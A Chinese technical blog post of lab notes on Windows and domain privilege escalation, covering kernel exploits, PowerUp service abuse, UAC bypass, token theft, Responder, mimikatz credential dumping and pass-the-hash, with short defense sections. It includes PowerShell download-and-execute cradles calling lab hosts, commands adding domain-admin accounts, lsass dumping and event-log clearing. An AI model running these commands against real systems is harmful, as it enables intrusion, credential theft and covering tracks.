【内网渗透】权限提升防御与分析

山屿云   ·   发表于 2023-07-22 14:01:13   ·   技术文章

1. 基础

  • 常见权限
    • USER
      • 普通用户权限,系统最安全的权限(默认权限不允许修改操作系统的设置或者用户资料)
    • Administrator
      • 管理员权限,可以利用Windows的机制将自己提升为System权限,以便以操作Sam文件等
    • System
      • 系统权限,可以对SAM等敏感文件进行读取,提升至System权限才可以对散列值进行Dump操作
    • Trustedlnstaller
      • 最高权限,系统文件,System权限也无法修改,只有Trustedlnstaller权限才可以进行修改
    • 提权的方式
      • 纵向提权
      • 横向提权
    • 提权的方法
      • 内核溢出漏洞提权
      • 数据库提权
      • 错误的系统配置提权
      • 组策略首选提权
      • Web中间件漏洞提权
      • DLL劫持提权
      • 滥用高权限令牌提权
      • 第三方软件/服务提权

2. 系统内核溢出漏洞提权分析与防范

2.1 原理

【漏洞解析】举个小栗子说明溢出漏洞利用原理及其检测原理 – 绿盟科技技术博客

2.2 溢出漏洞提权

  • 利用Windows中没有打补丁的内核溢出漏洞攻击
  • 查看当前用户权限
    • whoami /groups

  • 我的个人主机是底权限用户
  • 查看系统内安全补丁
    • systeminfo
    • wmic qfe get Caption,Description,HotFixID,InstalledOn
    • 可以与进行提权的内核溢出漏洞EXP进行对比

2.3 利用Windows-Exploit-Suggester-master快速提权

  • 下载地址

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

  • 从微软官方获取一个漏洞库
    • python2 windows-exploit-suggester.py --update
  • 自动查询可利用漏洞
    • python2 windows-exploit-suggester.py -d 2022-04-14-mssb.xls -i systeminfo.txt
  • 报错缺少xlrd库
    • pip install xlrd==1.1.0
  • 运行成功

2.4 利用Powershellzz红的SherLock.ps1

  • 下载地址

GitHub - rasta-mouse/Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.

  • 使用
  1. Set-ExecutionPolicy Unrestricted
  2. Import-Module .\Sherlock.ps1
  3. find-allvulns

  • CS上配合
    • 查询
      • powershell find-ms14058
    • 提权
      • elevate ms14-058 smb
    • 查询权限
      • getuid
  • 利用MSF快速提权

    • 开启监听模块
      • use exploit/multi/handler
    • 添加payload
      • set payload windows/meterpreter/reverse_tcp
    • 配置监听地址和端口
      • set lhost [addr]
      • set port [port]
  • 攻击复现 MS16-032

  1. import-module .\ms16-032.ps1
  2. invoke-ms16-032
  3. -Application cmd.exe -commandline '/c net user 123 123 /add'

常见提权手法:CVE-2018-8120、MS16-032、MS15-051、MS14-058


3. Windows 操作系统配置错误利用分析及其防范

  • Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件,因此一个低权限用户对此类操作系统调用的可执行权限具有写的权限,就可以将该文件替换为恶意文件,并随着系统服务的启动获得系统权限
  • Windows访问时以System权限运行的,因此文件夹,文件,和注册表键值都是受强访问控制保护的,但是在某些情况下查询中仍然存在一些没用得到有效保护的服务
  • 系统服务权限配置错误(可写目录漏洞)的可能:
    • 服务未运行:攻击者使用任意服务替换原来的服务
    • 服务已运行,且无法停止:攻击者利用DLL劫持技术并尝试重启服务来进行提权(大多数)

3.1 PowerUp下的实战利用

  • PowerUp提供了一些办呢滴提权的方法,可以通过很多实用脚本来寻找目标机器的Windows服务漏洞(也是Powershell Empire和PowerSploit的一部分)
  • 利用可利用信息
    • powershell.exe -nop -exec bypass
    • Import-Module .\PowerUp.ps1
    • powershell.exe -exec bypass -Command "& {Import-Module .\Powerup.ps1;Invoke-ALLChecks}"
    • image.png
    • image.png
  1. AbbuseFunction:使用方法
  2. Path:该服务可执行程序的路径
  • 利用
  • powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'Webclient' -UserName hack -Password hack123..
  • Install-ServiceBinary -ServiceName 'Webclient' -UserName rockyou -Password 123
    • image.png
  • powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:/PowerUp.ps1');Write-ServiceBinary -ServiceName 'OpenSShd' -UserName hack-Password hack123..
    • 理论上重启服务将停止运行并自动添加用户
  • 可以用DLL劫持来提权
  • MSF-service_permission提权
    • 先准备一个session,使用web_devlivery开始监听
      • image.png
    • Install-ServiceBinary -ServiceName 'Webclient' -Command "powershell.exe -nop -w hidden -c$m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://192.168.91.132:4444/');"

3.2 注册表键 AlwayslnstallElevated

  • 注册表键时一个策略设置项,Windows允许底权限用户以System权限运行安装文件,如果启次策略设置项,那么任何权限的用户都能以NT AUTHORLTY\SYSTEM权限来安装恶意的MSI(Microsoft Window Installer)

3.2.1 PathsAlwaysInstallElevated漏洞产生原因

  • 产生原因时开启了Windows Installer特权安装功能
  • gpedut.msc //组策略
    • image.png
  • 将计算机配置和用户配置都设置为已启用
    • image.png
  • 然后会在注册表的以下两个位置自动创建键值“1”
    • HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
    • image.png
    • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
    • image.png

3.2.2 Windows Install相关

  • Windows Install是Windows操作系统组件之一,专门用来管理和配置软件访问,Windows Install除了是一个安装程序,还用于管理让江的安装,管理软件组件的添加和删除,监视文件的还原,通过回滚进行容灾恢复等
  • Windos Install分为客户端安装服务(Msiexec.exe) 和MSI文件两部分,他们是一起工作的,Windows Install通过Msiexec.exe 安装MSI文件包含的程序,MSI文件时Windows Installer的数据包,实际上时一个数据库,包含安装和卸载软件时需要使用的大量指令和数据
  • Msiexec.exe 用户安装MSI文件,一般在运行Microsoft Update安装更新或者安装一些软件时使用,占用内存较多,简单的说,双击MSI文件就会运行Msiexec.exe

3.2.3 PowerUp 实战利用

  • 导入Powerup模块
  1. powershell.exe -exec bypass -Command "&{Import-Module .\Powerup.ps1}"
  2. powershell.exe -exec bypass -Command "&{Import-Module .\Powerup.psm1}"
  3. powershell.exe -exec bypass -Command "&{Import-Module .\Powerup.psd1}"
  • 查询是否可用
  • Get-RegAlwaysInstallElevated
    • image.png
  • 生成MSI文件
  1. msiexec /q /i UserAdd.msi
  2. /quiet:禁止发送信息
  3. /quin:不使用GUI图形界面
  4. /i:安装程序
  • 可以直接执行
    • Write-UserAddMSI
    • image.png
  • 可以在MSF上同样完成
    • use exploiexploit/windows/local/always_install_elevated
  • 使用该模块可以生成一个随机的MSI文件,并在提权后删除所有已部署文件

只要禁用注册表AlwayInstallElevated就可以阻止攻击者通过MSI文件来提权

3.3 可信任服务路径漏洞

  • 简单来说就是一个服务的可执行文件的路径没有被双引号引导起来并且包含了空格,这个服务就是有漏洞的
  • 产生原因
    • Windows服务一般是以System权限运行,所有在解析服务所对应的文件路径中的空格时,也会以System权限运行
  • 例如
    • 路径是C:\yun yun\yun shan\66.exe
    • 那么系统去匹配时就有以下几种情况
      • C:\66.exe
      • C:\yun shan\66.exe
      • C:\yun yun\yun shan\66.exe
    • Windows会一次确定和执行以上程序
  • 所有若一个恶意文件修改好名称,服务重启时,该而已文件就会以System权限运行(大多数情况下)

利用

  • 检测
    • wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
    • image.png
    • 说明我的环境并不存在
  • 若进一步检测
    • icacls [目录名]
  • 若存在everyone且有完全控制权限的,就可以去将恶意文件写入,然后重启服务时就会以system权限运行
  • 该漏洞也可以使用msf中的trusted_service_path模块来渗透

自动安装配置文件

  • 内网中的机器一般时批量配置部署,有些配置文件可能就会有本地管理员账号密码等信息,可以枚举来检测是否存在
  • 可能存在的目录
  1. C:\sysprep.inf
  2. C:\sysprep\sysprep.xml
  3. C:\Windows\system32\sysprep.inf
  4. C:\Windows\system32\sysprep\sysprep.xml
  5. C:\unattend.xml
  6. C:\Windows\Panther\Unattend.xml
  7. C:\Windows\Panther\Unattended.xml
  8. C:\Windows\Panther\Unattend\Unattended.xml
  9. C:\Windows\Panther\Unattend\Unattend.xml
  10. C:\Windows\System32\Sysprep\unattend.xml
  11. C:\Windows\System32\Sysprep\Panther\unattend.xml
  • 也可以这样
  1. dir /b /s C:\Unattend.xml
  • 打开xml文件可以查看是否存在密码或者base64加密后的密码
  • 同样可以用msf中的/port/Windows/gather/enum_unattend模块来进行渗透

3.4 计划任务

  • 查看计划任务
    • schtasks /query /fo LIST /v
    • image.png
  • AccessChk
    • SysInterals套件中的一个工具,并且是微软提供的工具,一般不会被报毒,尽量避免接触目标机器磁盘
    • 查看指定目录权限配置
  1. accesschk.exe -dqv "C:\Microsoft" -accepteula
  2. accesschk64.exe -dqv "C:\Program Files (x86)" -accepteula
  • 在高权限运行的目录存在写的群星就可以利用,下次任务开始即可执行恶意程序
  • image.png
  • 查看存在权限配置缺陷的文件
  1. accesschk64.exe -uwdqsUsers c:\*.*
  • image.png
    • 不存在

4. 组策略首选项提权分析及防范

  • SYSVOL是活动目录里面一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器只见进行复制
  • SYSVOL 文件夹是安装活动目录时创建,主要用来存放登陆脚本,组策略数据及其他域控制器需要的域信息等
  • SYSVOL在所有经过身份样子的域用户或者域信任用户具有读权限的活动目录的域范围内共享
  • 整个SYSVOL目录在所有域控制器中时z,所有域策略存放在C:\Windows\SYSVOL\DOMAINPolicies\

常见的策略组首选项

  1. ●映射驱动器(Drives.xml)
  2. ●创建本地用户
  3. ●数据源(DataSources.xml)
  4. ●打印机配置(Printers.xml)
  5. ●创建/更新服务(Services.xml)
  6. ●计划任务(ScheduledTasks.xml)
  • 使用条件
    • 创建了组策略,并且使用了。修改本地机器管理员密码了
  • 模拟
  • 在其它机器使用如下命令,同步后也能生成SYSVOL
    • gpupdate

4.1 获取凭证数据

  • 管理员在域中创建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码
  • 2012微软公布了改密码的私钥后,XML中文件的密码安全性大大降低,该密码用的AES-256算法
  • 任何域用户和域信任用户均可对该共享目标进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其摩羯,从而控制域中所有使用该账户/密码的本地管理员计算机
  • 在SYSVOL中搜索,可以找到包含cpassword的XML文件

手动获取法

  • 先找到唯一ID
  • 然后再以下目录查找
    • C:\Windows\SYSVOL\domain\Policies\{唯一ID}\Machine\Preferences\Groups
  • 直接访问发现密码被加密
  • 使用工具破解
    • gpp-decrypt 加密后的密码

TYPE命令查询

  1. type C:\Windows\SYSVOL\domain\Policies\{EBAD84FD-741B-4275-A23D-584E7744F2E0}\Machine\Preferences\Groups\Groups.xml

Get-GPPPassword.ps1

MSF- /post/windows/gather/credentials/gpp模块

  • use post/windows/gather/credentials/gpp
  • 获得一个session之后用该模块也可以查询到
    • set session 2

4.2 可选Cpassowrd属性的策略组首选项

  1. Services\Services.xml
  2. ScheduledTasks\ScheduledTasks.xml
  3. Printers\Printers.xml
  4. Drives\Drives.xml
  5. DataSources\DataSources.xml

防御

  • 设置共享文件夹sysvol的访问权限
  • 讲包含组策略密码的XML文件从SYSVOL中删除
  • 不要把密码放在所有域用户都有权限访问的文件中
  • 如果需要更改域中机器的本地管理员密码,可以用LAPS

5. 绕过UAC提权分析及防范

  • UAC的概念
    • 局势用户账户控制,在进行一些高权限操作时,就需要进行UAC认证
    • 当一个底权限账户想添加用户时,就需要UAC认证获取权限
  • UAC是微软在Windows Vista中引入的技术,旨在提高安全性,在Windows Vista及其更高版本时,将权限分为了高中低三个等级
  1. 高等级:有管理员权限
  2. 中等级:有普通用户权限
  3. 低等级:权限有限,可以保护在当收到攻击时

需要UAC的授权才能进行的操作列举如下

  1. ●配置Windows Update
  2. ●增加/删除账户
  3. ●更改账户类型
  4. ●更改UAC的设置
  5. ●安装ActiveX
  6. ●安装/卸载程序
  7. ●安装设备驱动程序
  8. ●将文件移动/复制到Program FilesWindows目录下
  9. ●查看其他用户的文件夹

UAC有如下四种设置要求

  1. ●始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
  2. ●仅在程序试图更改我的计算机时通知我:这是UAC的默认设置当本地Windows程序要使用高级别的权限时,不会通知用户但是,当第三方程序要使用高级别的权限时,会提示本地用户
  3. ●仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
  4. ●从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

5.1 Bypass UAC

  • MSF的bypassuac模块
  • 使用模块
    • 要求
      • 必须在管理员组
    • use exploit/windows/local/bypassuac
    • 配置参数
      • set lhost [addr]
      • set session [id]
    • 执行
      • run
    • 得到新shell后输入如下命令提权
      • getsystem
      • image.png
    • 改编码好看一点
      • chcp 65001
      • image.png
      • image.png
  • 使用模块2
    • 要求
      • 必须在管理员组
    • use exploit/windows/local/bypassuac_injection
      • image.png
      • 只支持32位系统,我的系统时64位的,所以没有成功
    • 该模块不落地,反射DLL方式更不容易被查杀
  • Runas模块
    • 要求
      • 必须在管理员组或者知道管理员密码
    • use exploit/windows/local/ask
      • 创建一个可执行文件,然后目标机器会发起一个权限提升的请求,点击确定则会弹回高权限的shell
      • image.png
      • 点击确定
      • image.png
      • 会超时,要及时点击
      • image.png

Nishang的Invoke-PsUACme

  • 使用Sysprep方法和默认的Payload执行
    • PS> Invoke-PsUaCme -verbose
  • 使用oobe方法和默认的Payload执行
    • PS> Invoke-PsUACme -method oobe -Verbose
  • 使用-Payload参数可以自行指定要执行的Payload
    • PS> Invoke-PsUACme -method oobe -Payload "powershell" -windowstyle hidden -e YouEncodePayload
  • image.png

5.2 防御

  • 在企业网络中,最好时内网机器的使用者不具备本地管理员权限,以此来降低分享
  • 在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动,使用本地管理员权限登陆的用户,要将UAC设置位“始终通知”或者 删除该用户的本地管理员权限(这样设置后,会像在Windows Vista中,总是弹出警告)
  • 使用微软的EMET或MaywareBytes来更好的防范0day漏洞

6. 令牌窃取分析以及防范

6.1 令牌

  • 简介
    • 令牌时系统中的临时密钥,相当于账户密码,用于决定是否允许请求以及判断当前请求时属于哪一个用户的,有令牌就可以不提供密码取对网络和资源进行请求,令牌将持续存在(除了重启系统)
  • 特点
    • 随机性和不可预测性,访问令牌代表访问控制操作主题的系统对象,密保令牌也叫做认证令牌,或者硬件令牌,是一种用户实现计算机身份校验的物理设备,例如U盾
  • 会话令牌是交互会话中唯一的身份标识

6.2 伪造令牌攻击

核心:Kerberos协议

  • Kerberos
    • 一种网络认证协议,其设计目标是通过密钥系统为客户机/服务机应用程序提供强大的认证服务
  • 过程
    • 1.客户端向认证服务器发送请求,要求得到证书
    • 2.认证服务器得到请求后,将包含客户端密钥的加密证书发送给客户端,该证书包含服务器的Ticket(包含服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,Session Key),认证服务器也会向服务器发送一份证书,使得服务器能够验证登陆的客户端身份
    • 3.客户端将Ticlet传送给服务器,如果服务器确认该客户端身份,就允许它登陆服务器
    • 客户端登陆服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌

6.3 令牌窃取攻击

  • mimikatz
    • MS14-068.exe -u admin@ys.com -p admin123! -s S-1-5-21-735015318-3972860336-672499796 -d ys.com
    • image.png
    • 导出证书成功
    • image.png
    • 再用mimikatz将此证书导入
      • kerberos::ptc 证书路径
      • image.png
      • 写入成功,输入exit退出mimikatz
    • image.png
    • 提权成功
  • MSF令牌窃取(1)
    • 首先拿到一个msfshell
      • image.png
    • 进程迁移
      • image.png
    • 进入隐身模式
      • use incognito
      • image.png
    • 查看可利用令牌
      • list_tokens -u
      • image.png
    • 模拟用户令牌
      • impersonate_token [user_name]\\[domain_name]
        • image.png
      • 再次提权
        • image.png
      • 添加用户
        • add user hack Hack123. -h 192.168.91.135
        • image.png
        • image.png
      • 添加到域管
        • add_group_user "domain admins" hack -h 192.168.91.133
        • image.png
        • 不知道为什么一直超时,看别人的
        • 可能是域的问题,我这边重新加入了一下,发现可以了
          • image.png
          • 后面的主机IP写域控主机
        • 查看是否添加成功
          • net group "domain admins" /domain
          • image.png
      • 建立IPC$连接
        • net use \\192.168.91.133\c$ A1B2C3... /user:YS\hack
        • net use \\192.168.91.137\c$ A1B2C3... /user:YS\hack- 137是我的域控主机
        • image.png
      • 查看IPC连接
        • net use
        • net use \\192.168.91.137\c$
        • image.png
      • 测试使用
        • echo "i'm hack!" > \\192.168.91.137\c$\hack.txt
        • image.png
        • image.png
      • dir \\192.168.91.137\c$\
        • image.png
      • 数据库服务器
        • image.png
      • 域控服务器
        • image.png
      • 痕迹清理
        • net user hack \del
        • clearev
  • MSF令牌窃取(2)
    • 迁移获得system权限
    • msf的shell中ps查看进程以及权限
      • image.png
    • 迁移到system的进程
      • migrate [system_pid]
    • 添加用户并添加到域域管理员
      • net user ljwsb A1B2C3.. /ad /domain
      • net group "domain admins" ljwsb /ad /domain

6.4 令牌窃取防御

  • 及时安装补丁
  • 对来路不明的软件不要使用
  • 对令牌的时效性进行限制,方式散列值被破解后泄露有效的令牌信息,越敏感的数据令牌的时效性应该越短,每个操作都使用独立的令牌,就可以定位泄露令牌的操作或者环节
  • 对与令牌,应该采取加密存储以及多层验证保护
  • 使用加密链路SSL\TLS传输令牌,以免被中间人窃听

7. 无凭证条件下的权限获取分析以及防范

  • 若已经进入目标网络但没有任何凭证,使用LLMNR和NetBIOS欺骗攻击对目标网络进行渗透测试
    • image.png
    • 发现没有什么可以利用的权限

7.1 LLMNR协议

  • LLMNR协议是指的本地链路多播名称协议,他是一种域名系统数据包格式,但局域网中DN服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到DNS服务器恢复为止
  • LLMNR协议还支持IPV6协议

工作流程

  • DNS客户端在自己的内部缓存中查找名称
  • 若未查到则向主DNS发送查询请求
  • 若主DNS没有回应或者收到了错误的信息,主机会向备用DNS发送查询请求
  • 若备用DNS没有回应或者收到了错误的信息,将会使用LLMNR协议进行解析
  • 主机通过UDP协议向组播地址224.0.0.252的5355发送多播查询请求,以便于获取主机名对应的IP地址,范围在本地子网中
  • 本地子网中所有支持LLMNR的主机在收到查询后,会对比自己的主机名,若不同,丢弃,若相同则向查询主机发送包含自己IP地址的单播信息

7.2 NetBIOS协议

简介

  • NetBIOS是一种网络协议,一般在十几台计算机组成的局域网中,可以根据NetBIOS的广播获得计算机名称,并将其解析为响应的IP地址
  • 在Windows NT版本后均能使用

提供的服务

  • Net-BIOS-NS(服务名称)
    • 主要用于名称的注册和解析,以启动会话和分发数据包,该服务需要域名服务器来注册NetBIOS的名称,默认监听UDP的137端口,也可以舰艇在TCP的137端口
  • Datagram Distibution Service(数据分发服务)
    • 无服务连接,该服务负责错误检测和修复,默认舰艇在UDP的138端口
  • Session Service(会话服务)
    • 允许两台计算机建立连接,允许电子邮件跨多个数据包进行连接,提供错误与检测和恢复机制,舰艇在TCP的139端口

7.3 Net-NTLM hash

  • NTLM Hash和Net-NTLM Hash并不是一个东西

介绍

  • NTLM Hash
    • 用于对访问资源的用户进行身份认证
    • NTLM Hash指的是 Windows操作系统中的Security Account Manager中保存的用户密码散列值
    • 通常保存在Windows的SAM文件中或者在NTDS.DIT数据库中
  • Net-NTLM Hash
    • Net-NTLM Hash是指在网络环境中经过NTLM认证的散列值
    • 跳转/响应验证中的“响应”就包含Net-NTLM Hash,使用Responder抓取通常就是Net-NTLM Hash
    • 攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat等攻击得到明文后进行横向移动攻击

7.4 LLMNR和NetBIOS欺骗攻击

如果目标网络的DNS服务器因发生故障而无法提供服务时,会退回到LLMNR和NBT-NS进行计算机名解析

  • Responder时监听Net-NTLM和NBT-NS协议的工具之一,能抓取所有的这两种协议的请求并响应,获取最初的账号凭证
  • Responder可以利用内置SMB认证服务器,MSSQL认证服务器,HTTP认证服务器,HTTPS认证服务器,LDAP认证服务器DNS服务器,WPAD代理服务器,以及FTP,POP3,IMAP,SMTP服务器,收集目标网络中计算机的凭证,还可以通过Multi-Relay功能在目标系统中执行命令

Responder攻击

  • git clone [https://github.com/lgandx/Responder](https://github.com/lgandx/Responder)
  • python3 Responder.py -I eth0
    • eth0 指的是内网网卡
  • 当有人访问Responder的主机的共享目录就会获取到hash
    • image.png

8. 域内横向移动防御与分析

8.1 常用Windows远程连接和相关命令

  • 在渗透测试中,拿到目标计算机的铭文密码或者NTLM Hash时,可以通过PTH(Pass The Hash凭证传递的方法),将获取到的明文密码或者散列值传送到目标机器上进行验证

IPC连接

  • **net use \\192.168.91.137\ipc$ Erqinru.com /user:YS\administrator**
  • **net use \\ip\ipc$ [password] /user:域名\user**

下载文件

  • 本质上也就是挂在磁盘到本地
  • net use Z : \\192.168.91.137\c$
  • 删除连接
    • net use \\192.168.91.137 /del

上传文件到指定目录

  • copy payload.exe \\192.168.91.137
  • image.png
  • image.png

8.2 AT服务

  • at \\192.168.91.137 10:22AM C:\payload.exe
  • image.png
  • 如果出现以下错误
  • image.png
    • 修改host文件
    • image.png
    • image.png
    • 成功弹回
  • 删除at记录
    • at \\192.168.91.137 /del

8.3 Schtasks

  • 在Windows Vista, Windows Server 2008及其以后的操作系统将AT命令移除了,于是用Schtasks代替
  • 创建服务
    • schtasks /create /s 192.168.91.137 /tn test /sc onstart /tr C:payload.exe /ru system /f
      • 在192.168.91.137上创建一个名为test 的服务,在开机时启动,执行payload.exe ,并以system权限允许,强制运行
        • image.png
    • 删除Schtasks计划
      • schtasks /delete /s 192.168.91.137 /tn "test" /f
      • image.png

9. Windows 系统散列值获取分析与防御

9.1 Hash

LM Hash 和NTLM Hash

  • Windows Hash
    • 早期SMB明文传输口令,后来出现LAN Mannager 挑战/响应验证机制(LM) , 其很容易破解,因此为微软提出Windows NT挑战/响应验证机制(NTLM)
  • NT Hash与LM Hash算法相比
    • 明文口令大小写敏感,但无法根据NT Hash判断原始明文口令是否小于8字节
    • 摆脱了魔术字符串KGS!@#$%
    • MD4时真正的单向哈希函数,穷举做为数据源出现的明文,难度较大
    • 但是为了向后兼容,两者总是一起使用,NT Hash强度再高也无助于安全,反而存在潜在危害
  • LM Hash
    • SAM数据库和NTDS数据库还能找到,从Windows Vista / Server 2008开始,默认情况下已关闭LM,若需要则可全填0,LM Hash可以为任意数
  • NTLM Hash
    • 和LM Hash相差不大,只是加密方式不同
    • NT Hash时支持Net NTLM认证协议及本地认证过程中的一个重要参数,其长度为32位,由数字与字母组成
    • 常意义上的NT Hash指在SAM数据库及TDS数据库中对密码进行摘要计算后的结果,NT Hash可以通过转储SAM数据库或使用Mimikatz来获得,可直接用于PtH,并且通常存在lsass进程中,便于SSP使用

本地认证

  • Windows不存储用户的明文密码,将明文密码加密后存储到SAM文件中
    • SAM文件存放在**%SystemRoot%\system32\config\sam**
  • 过程
    • 本地用户登陆时,输入明文密码
    • 加密为NTLM Hash
    • 与SAM数据库的NTLM Hash对比
    • 在域中也存在类似的数据库AD(Account Database),叫做nds.dit

NT Hash生成算法

  • 明文转换为16禁止ASCII码
  • 使用little-endian(小端)序将其在转换为Unicode格式0x80之前的标准ASCII码专为成Unicode码,就是简单的从0x??变成0x00??。此类标注ASCII串按照little-endian序转换成Unicode串,就是简单的在原有每个字节之后添加0x00
  • 对获取的Unicode串,进行标准MD4单项哈希,无论数据源有多少字节,MD4固定产生128-bit的哈希值
  1. plain 123456
  2. -> 313233343536
  3. -> 16字节 310032003300340035003600
  4. -> MD4 Hash 32ED87BDB5FDC5E9CBA88547376818D4
  5. NT Hash 32ED87BDB5FDC5E9CBA88547376818D4

Net-NTLM Hash

  • 用于网络身份认证(例如HTLM Hash)
  • 目前有两个版本
    • Net-NTLMv1
    • Net-NTLMv2
  • 区别
    • V2 只是发送到服务器的算法和响应不同

通常使用Responder等工具获取到的就是Net-NTLM,HetHash并不能直接用来PtH,但肯有可能通过暴力破解来获取明文密码
NTLMv1/ v2 时用于Windows环境中身份验证的质询响应协议。它们在算法中使用NT哈希,这意味着可以通过Bute Force/Dictionary攻击将其还原成明文密码,也可以用于中继攻击

9.2 NTLM网络认证机制

  • 协议
    • NTLM时除Kerberos之外的一种网络认证协议,只支持Windows
    • 它是一种基于质询/应答(Challenge/Response)消息交换模式的认证机制,常用于工作组和域环境下登陆场景的身份认证
  • 验证
    • NTLM凭证包括:域名,用户名,用户密码的单向Hash
    • 用户的密码不会再网络链路中传输,加密之后的Challenge替代密码的作用进行对比验证,更加安全
  • 认证方式
    • 交互式
      • 通常设计两个系统,客户端系统额域控制器,交互提供必要凭证,通常应用再用户登录某台客户端
    • 非交互式
      • NTLM非交互式身份验证通常涉及三个系统:客户端,服务器和代表服务器进行身份验证计算的域控制器
      • 无需交互式提供凭据,实际应用更多在为已登陆某客户端的用户去请求另一台服务器的资源,即用户只需要登陆一次即可访问所有相互信任的应用系统及共享资源

9.3 域工作组的NTLM Hash认证

工作组NTLM Hash认证

  • (仅交互式身份验证存在此步骤)用户访问客户机并提供域名,用户名,密码。客户端计算密码的Hash,并丢弃实际密码
  • 客户端将用户名发送到服务器
  • 服务器生成一个16字节的随机数Challenge并发送给客户端
  • 客户端使用用户密码的Hash对Challenge进行加密,然后将结果response(Net-NTLM hash)返回给服务器
  • 服务器使用用户名从SAM数据库中检索用户密码Hash,使用此密码Hash对Challenge进行加密
  • 服务器将其加密的Challenge(在步骤5中) 与客户端计算的response (在步骤4中) 进行比较。如果它们相同则身份验证成功

域内NTLM Hash认证

  • (仅交互式身份验证存在此步骤)用户访问客户机并提供域名,用户名,密码/客户端计算密码的Hash,并丢弃实际密码
  • 客户端将用户名发送到服务器
  • 服务器生成一个16字节的随机数Challenge进行加密,然后将结果response(Net-NTLM hash)返回给服务器
  • 服务器将三哥信息发送到域控制器:用户名,发送给客户机的Challenge,返回给服务器的response
  • 域控制器使用用户名从SAM数据库中检索用户密码Hash,使用此密码Hash对Challenge进行加密
  • 域控制器将其加密的Challenge(在步骤6中)与客户端计算的resonse (在步骤4中) 进行比较。如果它们相同则身份验证成功

区别

  • 域环境Server会将认证信息使用netlogon协议发送给域控制器,由域控制器完成校验并返回认证结果

9.4 本地抓取密码

  • 想要在Windows系统中抓取散列值或明文密码,必须提升daoSystem权限,本地用户名和散列值以及其他安全信息都存在SAM文件中
  • lass.exe进程适用于实现Windows的安全策略,可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出

工具下载

  • PwDump7
    • image.png
  • quarkspwdump
    • quarkspwdump.exe --dump-hash-local
    • image.png
  • 无工具
    • reg save hklm\sam sam.hive
    • reg save hklm\system system.hive
      • image.png
    • 读取sam.hive和system.hive
      • 用mimikatz读取,同目录执行如下命令
        • lsadump::sam /sam:sam.hive /system:system.hive
        • image.png
      • Cain软件读取HTLM Hash
  • Mimikatz直接抓取NTLM Hash
    • privilege::debug
    • token::elevate
    • lsadump::sam
      • image.png
  • Mimikatz在线读取SAM文件
    • mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
    • image.png
  • Mimikatz和procdump
    • procdump导出lsass.dmp文件
      • procdump.exe -accepteula -ma sass.exe lsass.dmp
      • image.png
    • Mimikatz导出lsass.dmp文件中的密码散列值
      • sekurlsa::minidump lsass.dmp
        • image.png
      • 导出密码散列值8
        • sekulsa::logonpasswords full
        • image.png
  • Powershell操作
    • mimikatz
      • powershell.exe IEX (New-Object Net.WebClient).DownloadString('[http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz](http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz)
    • nishang的Get-PassHashes.ps1

防范

  • Windows Server 2012 及其以上默认关闭Wdigest
  • Windows Server 2012 以下版本安装KB2871997补丁

开启和关闭Wdigest

  • powershell
    • Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    • Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
  • cmd
    • reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    • reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

9.5 Hash Cat破解密码

  • Hashcat系列软件支持使用CPU,NYDIA GPU,ATI GPU进行密码破解。Hashcat系列软件包括Hashcat,oclHashcat,还有一个单独的版本oclRausscrack。它们的区别为:Hashcat只支持CPU破解,oclHash和oclGAUSSCRACK支持GPU加速破解
  • Hash Cat使用教程

9.6 防范

  • 设置Active Diectory 2012 R2功能级别,将保护的用户添加受到保护用户组
  • Windows Server 2012 及其以上默认关闭Wdigest
  • Windows Server 2012 以下版本安装KB2871997补丁
  • 防范MIMIKATZ—将拥有Debug权限的本地管理用户将Administrator组中删除

10.哈希传递攻击分析及防范

10.1 概念

  • 通过哈希 传递(PTH)攻击获取到账户相关的密码散列值(通常是NTLM Hash)来进行攻击,在域环境中,用户登陆计算机使用的大多是域账户,且在安装时,大量计算机都会使用相同本地管理员的账号密码,所以一旦获得了一个账密,就可以横向到任意另一台
  • 通过哈希攻击,攻击者不需要花费时间破解密码散列值

散列值

  • 避免一个站点被入侵后用户所有明文密码被窃取,将用户的密码加密后保存,每次登陆时,将用户提交的密码进行加密后与数据库的对比
  • 加密通常使用MD5加密

Windows

  • 主流的Windows操作系统,通常会使用HTLM Hash对访问资源的用户进行身份验证
  • 早期版本的Windows操作系统,则使用LM Hash对用户密码进行验证,但是,当密码大于等于15位时,就无法使用LM Hash了
